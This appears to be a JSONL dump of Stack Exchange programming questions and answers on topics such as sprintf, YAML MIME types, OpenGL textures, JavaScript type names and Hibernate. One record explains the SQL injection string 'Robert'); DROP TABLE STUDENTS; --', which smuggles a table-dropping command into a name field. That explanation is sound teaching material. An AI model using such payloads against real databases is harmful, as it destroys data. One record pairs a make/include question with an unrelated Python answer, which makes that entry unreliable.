{"id": "hf_7fc1f4831a8b", "question": "<p>I need to store a double as a string.  I know I  can use <code>printf</code> if I wanted to display it, but I just want to store it in a string variable so that I can store it in a map later (as the <em>value</em>, not the <em>key</em>).</p>\n", "question_body": "", "answer": "Take a look at\n```\nsprintf()\n```\nand family.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.546545"}
{"id": "hf_9894d4141de1", "question": "<p>I need to deploy a few .net dlls. They need to be put in the GAC and the required entries need to be in the registry. On my machine I have both the SDK and Visual Studio running, so currently I am utilizing .net sdk tools like gacutil and regasm. However, when I need to install these dlls on a customer machine, how should I go about it. Can I accomplish this by just having the .net runtime. I am currently using .net 2.0.</p>\n", "question_body": "", "answer": "Well, the easiest way, for the person that's going to be sitting in front of that other machine that is, is of course an installation program.\nI believe most VS editions have some sort of installer support where you can create a setup project that ends up as a .exe and .msi file that you can use to install your software with, and then you'll get basically all you need, things like desktop/start menu shortcuts, GAC-support, uninstall, downloading the .NET runtime if needed, etc.\nCheck the new project dialog box in your Visual Studio and I'm sure you'll find something useful there, if not then I'm pretty sure someone here can point you in the right direction.\nOn the other hand, if you want to go the manual route, then some of the .NET tools is installed in the .NET directory beneath C:\\Windows\\Microsoft.NET\\Framework\\version.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.611944"}
{"id": "hf_94fc8e52eca3", "question": "<p>What is the most appropriate media type (formally MIME type) to use when sending data structured with YAML over HTTP and why?</p>\n<p>There is no registered <a href=\"http://www.iana.org/assignments/media-types/application/\" rel=\"noreferrer\">application type</a> or <a href=\"http://www.iana.org/assignments/media-types/text/\" rel=\"noreferrer\">text type</a> that I can see.</p>\n<p>Example:</p>\n<pre><code>&gt; GET /example.yaml\n\n&lt; Content-Type: ????\n&lt;\n&lt; --- # Favorite movies\n&lt; - Casablanca\n&lt; - North by Northwest\n&lt; - Notorious\n</code></pre>\n<p>Possible options:</p>\n<ul>\n<li>text/x-yaml</li>\n<li>text/yaml</li>\n<li>text/yml</li>\n<li>application/x-yaml</li>\n<li>application/x-yml</li>\n<li>application/yaml</li>\n<li>application/yml</li>\n</ul>\n", "question_body": "", "answer": "Ruby on Rails uses\n```\napplication/x-yaml\n```\nwith an alternative of\n```\ntext/yaml\n```\n(\nsource\n).\nI think it's just a matter of convention, there is no\ntechnical\nwhy, as far as I can tell.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.636382"}
{"id": "hf_df6719c2b315", "question": "<p>Is it possible to change a sql server instance name?  Or is it something that can only be set during installation?</p>\n", "question_body": "", "answer": "To the best of my knowledge, they can only be changed at install time.  You might be able to change the name with the installer package while keeping the current info.  I would make backups of all of your databases and then try this.\nOn another note, changing instance names will just cause you so many headaches.  Even if you can do it, I would strongly reccomend leaving well enough alone.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.686998"}
{"id": "hf_874ada88c874", "question": "<p>What is the best method of hiding php errors from being displayed on the browser?</p>\n\n<p>Would it be to use the following:</p>\n\n<pre><code>ini_set(\"display_errors\", 1);\n</code></pre>\n\n<p>Any best practice tips would be appreciated as well!</p>\n\n<p>I am logging the errors, I just want to make sure that setting the display_errors value to off (or 0) will not prevent errors from being logged.</p>\n", "question_body": "", "answer": "The best way is to log your errors instead of displaying or ignoring them.\nThis example will log the errors to syslog instead of displaying them in the browser.\n```\n```\nini_set(\"display_errors\", 0);\nini_set(\"log_errors\", 1);\n\n//Define where do you want the log to go, syslog or a file of your liking with\nini_set(\"error_log\", \"syslog\"); // or ini_set(\"error_log\", \"/path/to/syslog/file\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.725191"}
{"id": "hf_423d1255a188", "question": "<p>I have an OpenGl program in which I am displaying an image using textures. I want to be able to load a new image to be displayed. </p>\n\n<p>In my Init function I call:</p>\n\n<pre><code>Gl.glGenTextures(1, mTextures);\n</code></pre>\n\n<p>Since only one image will be displayed at time, I am using the same texture name for each image. </p>\n\n<p>Each time a new image is loaded I call the following:</p>\n\n<pre><code>Gl.glBindTexture(Gl.GL_TEXTURE_2D, mTexture[0]);\n\nGl.glTexImage2D(Gl.GL_TEXTURE_2D, 0, Gl.GL_LUMINANCE, mTexSizeX, mTexSizeY, 0, Gl.GL_LUMINANCE, Gl.GL_UNSIGNED_SHORT, mTexBuffer);\nGl.glTexParameteri(Gl.GL_TEXTURE_2D, Gl.GL_TEXTURE_MIN_FILTER, Gl.GL_LINEAR);   \nGl.glTexParameteri(Gl.GL_TEXTURE_2D, Gl.GL_TEXTURE_MAG_FILTER, Gl.GL_LINEAR);\n</code></pre>\n\n<p>The first image will display as expected. However, all images load after the first, display as all black.</p>\n\n<p>What am I doing wrong?</p>\n", "question_body": "", "answer": "When do you submit the geometry using these textures? I assume that is interleaved with the texture loading, although you don't show that. Of course, if you are going to replace the texture name with different images, you don't need to use texture names at all, do  you? You could just do the\n```\nglTextImage2D\n```\ncall when you need to set a new texture, and then use that for as long as necessary, never involving\n```\nglBindTexture()\n```\nat all.\nAn obvious thing to do is of course to insert error-checking code, OpenGL stores an error code when an operation fails and this code is not overwritten until read by the application. See\nglGetError()\nfor more on this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.762441"}
{"id": "hf_406d446ab95b", "question": "<p>I know <code>class foo(object)</code> is an old school way of defining a class. But I would like to understand in more detail the difference between these two.</p>\n", "question_body": "", "answer": "```\nclass foo(object):\n```\nis the 'new' way of declaring classes.\nThis change was made in python 2.2, see\nthis PEP for an explanation\nof the differences.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.837605"}
{"id": "hf_9c5ccb7af8e0", "question": "<p>Hello I am compiling a program with make but I get the error of No such file or directory but the file is in a directory of the path.</p>\n\n<p>I have this #include \"genetic.h\", that file is in a directory called /home/myuser/toolbox/lib/genalg and in the PATH I have ...:/home/myuser/toolbox/lib/genalg, so I do not why make cannot find the library. Any ideas?. Thanks</p>\n", "question_body": "", "answer": "```\nclass foo(object):\n```\nis the 'new' way of declaring classes.\nThis change was made in python 2.2, see\nthis PEP for an explanation\nof the differences.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.861937"}
{"id": "hf_33864ac8c6ae", "question": "<p>I'm trying to setup the Entity Framework with SQL Server 2008.  I'm using Guids for the keys on my tables.  Is there a way to set it up so the keys are automatically generated by the database?  I tried setting \"RowGuid\" to true and also set the column's default value to be \"(newid())\".  Either way the mapped class still needs me to give it a Guid on the C# side.  Any ideas?</p>\n", "question_body": "", "answer": "Since a Guid is a structure, a null value is never passed so the defaults don't kick in. You could consider a\nnullable Guid\n: Guid?, though this may cause headaches as mentioned in this post:\nNullable GUID\nI found it easier to just initialize the Guid with a new value:\n```\n```\nprivate Guid _identifier = Guid.NewGuid();\n```\n```\nIf it's an existing record, it will be replaced when the object is populated. If not, the initialized value will be inserted.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.887306"}
{"id": "hf_4b9b64335d25", "question": "<p>How do I change the size of figure drawn with Matplotlib?</p>\n", "question_body": "", "answer": "Deprecation note:\nAs per the\nofficial Matplotlib guide\n, usage of the\n```\npylab\n```\nmodule is no longer recommended. Please consider using the\n```\nmatplotlib.pyplot\n```\nmodule instead, as described by\nthis other answer\n.\nThe following seems to work:\n```\n```\nfrom pylab import rcParams\nrcParams['figure.figsize'] = 5, 10\n```\n```\nThis makes the figure's width 5 inches, and its height 10\ninches\n.\nThe Figure class then uses this as the default value for one of its arguments.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:09.951288"}
{"id": "hf_4cd39884bc19", "question": "<p>Is there a measurable performance difference between using INT vs. VARCHAR as a primary key in MySQL? I'd like to use VARCHAR as the primary key for reference lists (think US States, Country Codes) and a coworker won't budge on the INT AUTO_INCREMENT as a primary key for all tables. </p>\n\n<p>My argument, as detailed <a href=\"http://database-programmer.blogspot.com/2008/01/database-skills-sane-approach-to.html#rule1\" rel=\"noreferrer\">here</a>, is that the performance difference between INT and VARCHAR is negligible, since every INT foreign key reference will require a JOIN to make sense of the reference, a VARCHAR key will directly present the information.</p>\n\n<p>So, does anyone have experience with this particular use-case and the performance concerns associated with it?</p>\n", "question_body": "", "answer": "For short codes, there's probably no difference.  This is especially true as the table holding these codes are likely to be very small (a couple thousand rows at most) and not change often (when is the last time we added a new US State).\nFor larger tables with a wider variation among the key, this can be dangerous.  Think about using e-mail address/user name from a User table, for example.  What happens when you have a few million users and some of those users have long names or e-mail addresses.   Now any time you need to join this table using that key it becomes much more expensive.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:10.014582"}
{"id": "hf_3bca69c04792", "question": "<p>Is it possible to embed the Windows Explorer file/folder browser view in a WPF or a WinForms window?</p>\n\n<p>I basically want to host the file/folder browser as part of my app window.  I don't want to re-implement what the shell provides, especially the shell extensions such as TortoiseSVN.</p>\n", "question_body": "", "answer": "As far as I know, there isn't any File/Folder browser control out of the box in Windows Forms nor WPF.\nHowever there are commercial third-party controls that offer a Windows Explorer-like interface to browse files and folders on disk. Take a look at these products from LogicNP:\nFileView Control\nFolderView Control\nAlternatively, you could host the\nWindows Forms WebBrowser control\nin WPF and use it to browse the filesystem, since it is integrated with the Windows shell.\nIn XAML you could do something like this:\n```\n```\n<Window x:Class=\"Samples.FilesystemBrowser\"\n    xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n    xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n    xmlns:wf=\"clr-namespace:System.Windows.Forms;assembly=System.Windows.Forms\"\n    Title=\"Filesystem Browser\">\n    <StackPanel>\n        <WindowsFormsHost>\n            <wf:WebBrowser Url=\"C:\\\" />\n        </WindowsFormsHost>\n    </StackPanel>\n</Window>\n```\n```\nNote, that with\n.NET 3.5 SP1\nMicrosoft added a\nnative WPF WebBrowser control\n, so you can optionally use that instead:\n```\n```\n<Window x:Class=\"Samples.FilesystemBrowser\"\n    xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n    xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n    Title=\"Filesystem Browser\">\n    <StackPanel>\n        <WebBrowser Source=\"C:\\\" />\n    </StackPanel>\n</Window>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:10.100745"}
{"id": "hf_0b062de3f6ee", "question": "<p>Just looking at:</p>\n\n<p><img src=\"https://i.stack.imgur.com/G0ifh.png\" alt=\"XKCD Strip\" title=\"Her daughter is named Help I&#39;m trapped in a driver&#39;s license factory.\">\n<em>(Source: <a href=\"https://xkcd.com/327/\" rel=\"noreferrer\">https://xkcd.com/327/</a>)</em></p>\n\n<p>What does this SQL do:</p>\n\n<pre><code>Robert'); DROP TABLE STUDENTS; --\n</code></pre>\n\n<p>I know both <code>'</code> and <code>--</code> are for comments, but doesn't the word <code>DROP</code> get commented as well since it is part of the same line?</p>\n", "question_body": "", "answer": "It drops the students table.\nThe original code in the school's program probably looks something like\n```\n```\nq = \"INSERT INTO Students VALUES ('\" + FNMName.Text + \"', '\" + LName.Text + \"')\";\n```\n```\nThis is the naive way to add text input into a query, and is\nvery bad\n, as you will see.\nAfter the values from the first name, middle name textbox\nFNMName.Text\n(which is\n```\nRobert'); DROP TABLE STUDENTS; --\n```\n) and the last name textbox\nLName.Text\n(let's call it\n```\nDerper\n```\n) are concatenated with the rest of the query, the result is now actually\ntwo queries\nseparated by the\nstatement terminator\n(semicolon).  The second query has been\ninjected\ninto the first.  When the code executes this query against the database, it will look like this\n```\n```\nINSERT INTO Students VALUES ('Robert'); DROP TABLE Students; --', 'Derper')\n```\n```\nwhich, in plain English, roughly translates to the two queries:\nAdd a new record to the Students table with a Name value of 'Robert'\nand\nDelete the Students table\nEverything past the second query is\nmarked as a comment\n:\n```\n--', 'Derper')\n```\nThe\n```\n'\n```\nin the student's name is not a comment, it's the closing\nstring delimiter\n.  Since the student's name is a string, it's needed syntactically to complete the hypothetical query.  Injection attacks only work\nwhen the SQL query they inject results in valid SQL\n.\nEdited\nagain\nas per\ndan04\n's astute comment", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:10.125409"}
{"id": "hf_77000e8a01fe", "question": "<p>I'd like to serialize some LINQ generated objects and store them in a table as a binary field (Never you mind why). I'd like to be able to write some code that looks something like this:</p>\n\n<pre><code>SerialTestDataContext db = new SerialTestDataContext();\n\nrelation_table row = db.relation_tables.First();\n\nMemoryStream memStream = new MemoryStream();\nBinaryFormatter bin = new BinaryFormatter();\nbin.Serialize(memStream, row);\nConsole.WriteLine(\"Serilized successfully\");\n\nTestTable tt = new testTable();\ntt.data = new System.Data.Linq.Binary(memStream.ToArray());\ndb.testTables.InsertOnSubmit(tt);\ndb.SubmitChanges();\nConsole.WriteLine(\"Inserted successfully\");\n</code></pre>\n\n<p>Currently that fails even though I've marked the generated classes as [Serializable] because one of the LINQ inherited classes is not. Is it even possible to do this?</p>\n", "question_body": "", "answer": "Linq classes are partial classes.  You can change the definition to mark the classes as implementing\nISerializable\nand then provide the code...\n```\n```\npublic partial class User : ISerializable\n{\n  // implement GetObjectData here\n}\n```\n```\nThere might still be issues with deserialization, however (I'm not 100% on this).  An alternative is to use xml serialization and implement\nIXmlSerializable\n, which has methods for serializing and deserializing, allowing you to control the entire process...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:10.176882"}
{"id": "hf_cb53ad84afef", "question": "<p>Is there a <strong>JavaScript</strong> equivalent of <strong>Java</strong>'s <code>class.getName()</code>?</p>\n", "question_body": "", "answer": "Is there a JavaScript equivalent of Java's\n```\nclass.getName()\n```\n?\nNo\n.\nES2015 Update\n:\nthe name of\n```\nclass Foo {}\n```\nis\n```\nFoo.name\n```\n.  The name of\n```\nthing\n```\n's class, regardless of\n```\nthing\n```\n's type, is\n```\nthing.constructor.name\n```\n. Builtin constructors in an ES2015 environment have the correct\n```\nname\n```\nproperty; for instance\n```\n(2).constructor.name\n```\nis\n```\n\"Number\"\n```\n.\nBut here are various hacks that all fall down in one way or another:\nHere is a hack that will do what you need - be aware that it modifies the Object's prototype, something people frown upon (usually for good reason)\n```\n```\nObject.prototype.getName = function() { \n   var funcNameRegex = /function (.{1,})\\(/;\n   var results = (funcNameRegex).exec((this).constructor.toString());\n   return (results && results.length > 1) ? results[1] : \"\";\n};\n```\n```\nNow, all of your objects will have the function,\n```\ngetName()\n```\n, that will return the name of the constructor as a string. I have tested this in\n```\nFF3\n```\nand\n```\nIE7\n```\n, I can't speak for other implementations.\nIf you don't want to do that, here is a discussion on the various ways of determining types in JavaScript...\nI recently updated this to be a bit more exhaustive, though it is hardly that. Corrections welcome...\nUsing the\n```\nconstructor\n```\nproperty...\nEvery\n```\nobject\n```\nhas a value for its\n```\nconstructor\n```\nproperty, but depending on how that\n```\nobject\n```\nwas constructed as well as what you want to do with that value, it may or may not be useful.\nGenerally speaking, you can use the\n```\nconstructor\n```\nproperty to test the type of the object like so:\n```\n```\nvar myArray = [1,2,3];\n(myArray.constructor == Array); // true\n```\n```\nSo, that works well enough for most needs. That said...\nCaveats\nWill not work\nAT ALL\nin many cases\nThis pattern, though broken, is quite common:\n```\n```\nfunction Thingy() {\n}\nThingy.prototype = {\n    method1: function() {\n    },\n    method2: function() {\n    }\n};\n```\n```\n```\nObjects\n```\nconstructed via\n```\nnew Thingy\n```\nwill have a\n```\nconstructor\n```\nproperty that points to\n```\nObject\n```\n, not\n```\nThingy\n```\n. So we fall right at the outset; you simply cannot trust\n```\nconstructor\n```\nin a codebase that you don't control.\nMultiple Inheritance\nAn example where it isn't as obvious is using multiple inheritance:\n```\n```\nfunction a() { this.foo = 1;}\nfunction b() { this.bar = 2; }\nb.prototype = new a(); // b inherits from a\n```\n```\nThings now don't work as you might expect them to:\n```\n```\nvar f = new b(); // instantiate a new object with the b constructor\n(f.constructor == b); // false\n(f.constructor == a); // true\n```\n```\nSo, you might get unexpected results if the\n```\nobject\n```\nyour testing has a different\n```\nobject\n```\nset as its\n```\nprototype\n```\n. There are ways around this outside the scope of this discussion.\nThere are other uses for the\n```\nconstructor\n```\nproperty, some of them interesting, others not so much; for now we will not delve into those uses since it isn't relevant to this discussion.\nWill not work cross-frame and cross-window\nUsing\n```\n.constructor\n```\nfor type checking will break when you want to check the type of objects coming from different\n```\nwindow\n```\nobjects, say that of an iframe or a popup window. This is because there's a different version of each core type\n```\nconstructor\n```\nin each `window', i.e.\n```\n```\niframe.contentWindow.Array === Array // false\n```\n```\nUsing the\n```\ninstanceof\n```\noperator...\nThe\n```\ninstanceof\n```\noperator is a clean way of testing\n```\nobject\n```\ntype as well, but has its own potential issues, just like the\n```\nconstructor\n```\nproperty.\n```\n```\nvar myArray = [1,2,3];\n(myArray instanceof Array); // true\n(myArray instanceof Object); // true\n```\n```\nBut\n```\ninstanceof\n```\nfails to work for literal values (because literals are not\n```\nObjects\n```\n)\n```\n```\n3 instanceof Number // false\n'abc' instanceof String // false\ntrue instanceof Boolean // false\n```\n```\nThe literals need to be wrapped in an\n```\nObject\n```\nin order for\n```\ninstanceof\n```\nto work, for example\n```\n```\nnew Number(3) instanceof Number // true\n```\n```\nThe\n```\n.constructor\n```\ncheck works fine for literals because the\n```\n.\n```\nmethod invocation implicitly wraps the literals in their respective object type\n```\n```\n3..constructor === Number // true\n'abc'.constructor === String // true\ntrue.constructor === Boolean // true\n```\n```\nWhy two dots for the 3? Because Javascript interprets the first dot as a decimal point ;)\nWill not work cross-frame and cross-window\n```\ninstanceof\n```\nalso will not work across different windows, for the same reason as the\n```\nconstructor\n```\nproperty check.\nUsing the\n```\nname\n```\nproperty of the\n```\nconstructor\n```\nproperty...\nDoes not work\nAT ALL\nin many cases\nAgain, see above; it's quite common for\n```\nconstructor\n```\nto be utterly and completely wrong and useless.\nDoes NOT work in <IE9\nUsing\n```\nmyObjectInstance.constructor.name\n```\nwill give you a string containing the name of the\n```\nconstructor\n```\nfunction used, but is subject to the caveats about the\n```\nconstructor\n```\nproperty that were mentioned earlier.\nFor IE9 and above, you can\nmonkey-patch in support\n:\n```\n```\nif (Function.prototype.name === undefined && Object.defineProperty !== undefined) {\n    Object.defineProperty(Function.prototype, 'name', {\n        get: function() {\n            var funcNameRegex = /function\\s+([^\\s(]+)\\s*\\(/;\n            var results = (funcNameRegex).exec((this).toString());\n            return (results && results.length > 1) ? results[1] : \"\";\n        },\n        set: function(value) {}\n    });\n}\n```\n```\nUpdated version\nfrom the article in question. This was added 3 months after the article was published, this is the recommended version to use by the article's author Matthew Scharley. This change was inspired by\ncomments pointing out potential pitfalls\nin the previous code.\n```\n```\nif (Function.prototype.name === undefined && Object.defineProperty !== undefined) {\n    Object.defineProperty(Function.prototype, 'name', {\n        get: function() {\n            var funcNameRegex = /function\\s([^(]{1,})\\(/;\n            var results = (funcNameRegex).exec((this).toString());\n            return (results && results.length > 1) ? results[1].trim() : \"\";\n        },\n        set: function(value) {}\n    });\n}\n```\n```\nUsing Object.prototype.toString\nIt turns out, as\nthis post details\n, you can use\n```\nObject.prototype.toString\n```\n- the low level and generic implementation of\n```\ntoString\n```\n- to get the type for all built-in types\n```\n```\nObject.prototype.toString.call('abc') // [object String]\nObject.prototype.toString.call(/abc/) // [object RegExp]\nObject.prototype.toString.call([1,2,3]) // [object Array]\n```\n```\nOne could write a short helper function such as\n```\n```\nfunction type(obj){\n    return Object.prototype.toString.call(obj).slice(8, -1);\n}\n```\n```\nto remove the cruft and get at just the type name\n```\n```\ntype('abc') // String\n```\n```\nHowever, it will return\n```\nObject\n```\nfor all user-defined types.\nCaveats for all...\nAll of these are subject to one potential problem, and that is the question of how the object in question was constructed. Here are various ways of building objects and the values that the different methods of type checking will return:\n```\n```\n// using a named function:\nfunction Foo() { this.a = 1; }\nvar obj = new Foo();\n(obj instanceof Object);          // true\n(obj instanceof Foo);             // true\n(obj.constructor == Foo);         // true\n(obj.constructor.name == \"Foo\");  // true\n\n// let's add some prototypical inheritance\nfunction Bar() { this.b = 2; }\nFoo.prototype = new Bar();\nobj = new Foo();\n(obj instanceof Object);          // true\n(obj instanceof Foo);             // true\n(obj.constructor == Foo);         // false\n(obj.constructor.name == \"Foo\");  // false\n\n// using an anonymous function:\nobj = new (function() { this.a = 1; })();\n(obj instanceof Object);              // true\n(obj.constructor == obj.constructor); // true\n(obj.constructor.name == \"\");         // true\n\n// using an anonymous function assigned to a variable\nvar Foo = function() { this.a = 1; };\nobj = new Foo();\n(obj instanceof Object);      // true\n(obj instanceof Foo);         // true\n(obj.constructor == Foo);     // true\n(obj.constructor.name == \"\"); // true\n\n// using object literal syntax\nobj = { foo : 1 };\n(obj instanceof Object);            // true\n(obj.constructor == Object);        // true\n(obj.constructor.name == \"Object\"); // true\n```\n```\nWhile not all permutations are present in this set of examples, hopefully there are enough to provide you with an idea about how messy things might get depending on your needs. Don't assume anything, if you don't understand exactly what you are after, you may end up with code breaking where you don't expect it to because of a lack of grokking the subtleties.\nNOTE:\nDiscussion of the\n```\ntypeof\n```\noperator may appear to be a glaring omission, but it really isn't useful in helping to identify whether an\n```\nobject\n```\nis a given type, since it is very simplistic. Understanding where\n```\ntypeof\n```\nis useful is important, but I don't currently feel that it is terribly relevant to this discussion. My mind is open to change though. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:10.238713"}
{"id": "hf_dfbe52e06cf7", "question": "<p>Lets say you need to attach some JavaScript functionality to an ASP.NET User Control of which there might be multiple instances on any given page.  Because JavaScript has shared global state, what techniques can you use to keep the client state and behavior for each instance of a control separate?</p>\n", "question_body": "", "answer": "Well, the main thing you can do is make sure your JavaScript functions are abstract enough that they are not coupled to specific instances of HTML controls - have them accept parameters that allow you to pass various instances of objects in.\nThe JavaScript that does whatever magic you need to be done should only exist once in your page regardless of how many instances of a user control you have on a given page, thus your functions need to be ignorant of that fact.\nWithout more information about what you are trying to do, there is little more I can offer in the way of help; it would depend on your circumstance.\nEDIT: One way I have dealt with particular aspects of this problem is to create a static property on the user control (thus it is the same variable across multiple instances) that tracks the client-side IDs of the various user control elements (the user control adds the client IDs to this list in the\ncontrol's\nOnLoad event); then, in the\npage's\nOnPreRender event (IIRC), render those out in a JavaScript variable that my code knows to look for on the client and operate on. I don't know if that makes sense, but it might help someone...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:10.269362"}
{"id": "hf_7cbb0470feb5", "question": "<p>I want to do this C# code in F#</p>\n\n<pre><code>  string[] a = new string[5];\n    string b = string.Empty;\n    a[0] = \"Line 1\";\n    a[2] = \"Line 2\";\n\n    foreach (string c in a)\n    {\n        b = c + Environment.NewLine;\n    }\n</code></pre>\n", "question_body": "", "answer": "Its a lot better to use the built-in String.Join method than rolling your own function based on repeated string concatting. Here's the code in F#:\n```\n```\nopen System\nlet a = [| \"Line 1\"; null; \"Line 2\"; null; null;|] \nlet b = String.Join(Environment.NewLine, a)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:10.319020"}
{"id": "hf_adb0421cc889", "question": "<p>How can I programmatically change my browser's default home page with C#?</p>\n", "question_body": "", "answer": "See this, which is not in C#, but you should be able to work out the registry stuff in C# pretty easily.\nhttp://www.microsoft.com/technet/scriptcenter/resources/qanda/nov04/hey1108.mspx\nPlease don't arrange for this code to run on my machine!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:10.407365"}
{"id": "hf_7fb6dfc09d21", "question": "<p>When using TFS with a tool outside of Visual Studio (Specifially ORMS), modifications to the project file to include a new file will not cause the file to be added to source control.</p>\n\n<p>Does anything exist that could potentially say \"Warning: You are about to check in change to a project file which include a file which is not versioned\"</p>\n", "question_body": "", "answer": "Not quite, however you might want to download the\nTFS Power Tools\nand check out the command line utility tfpt.exe.\nThe \"tfpt online\" and \"tfpt treeclean\" might be most useful to you when working outside of an integrated TFS client.  tfpt online will look for files in your local directory that are not under version control, treeclean will show you files in your local directory that are not under version control so that you can remove then if they are not required.\nGood luck,\nMartin.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:10.566599"}
{"id": "hf_199bf8230c06", "question": "<p>I dictate SQL using speech recognition, and lining things up is a pain. If I could see where the tab stops are it would save me a lot of time.</p>\n", "question_body": "", "answer": "Management Studio supports an undocumented feature that\nVisual Studio has as well\n. It adds vertical guide lines to the editor window at specific column locations.\nCreate a .reg file using the text below and open it to merge it with your registry. This will add a line every 8 characters (up to column 96) in SQL Server 2005. Modify as needed to suit your tab size. It does not appear to support more than 12 lines. The RGB portion of the string is supposed to set the color, but it always displays as black for me. You'll quickly notice why this is an undocumented feature - the lines appear in unwanted locations such as the Messages output window.\n```\n```\nWindows Registry Editor Version 5.00\n\n[HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\90\\Tools\\Shell\\Text Editor]\n\"Guides\"=\"RGB(128,0,0) 8, 16, 24, 32, 40, 48, 56, 64, 72, 80, 88, 96\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:10.592133"}
{"id": "hf_2493f57f4435", "question": "<p>I was curious if anyone had any hard numbers around the performance difference between annotating Entities using private fields instead of public getter methods.  I've heard people say that fields are slower because they're called \"through reflection\" but then again so are the getter methods, no?  Hibernate needs to set the accessibility of the field to true before it tries to read it which I can see having some <em>slight</em> overhead.  However wouldn't that be done at the Class-level in the scope of a Session or perhaps only once when the Configuration is read and SessionFactory is built?</p>\n\n<p>Just curious if this is a myth or if there's really truth to it; I personally find annotating the fields to be a bit more readable.</p>\n", "question_body": "", "answer": "ok, I can't give numbers haha, but I would guess that accessing the fields through reflection wouldn't be a 'one time' thing.  Each object has its own private members.\nI honestly don't know much about reflection but the getter/setters should be straight forward.  In fact you can try setting one of the methods to private and I think it won't work because it can't find the method it needs.\nThere are other issues like proxies that will affect getter methods though depending on how you load your entities.\nThis is all I see in the documentation:\nThe access attribute lets you control\n  how Hibernate will access the property\n  at runtime. By default, Hibernate will\n  call the property get/set pair. If you\n  specify access=\"field\", Hibernate will\n  bypass the get/set pair and access the\n  field directly, using reflection. You\n  may specify your own 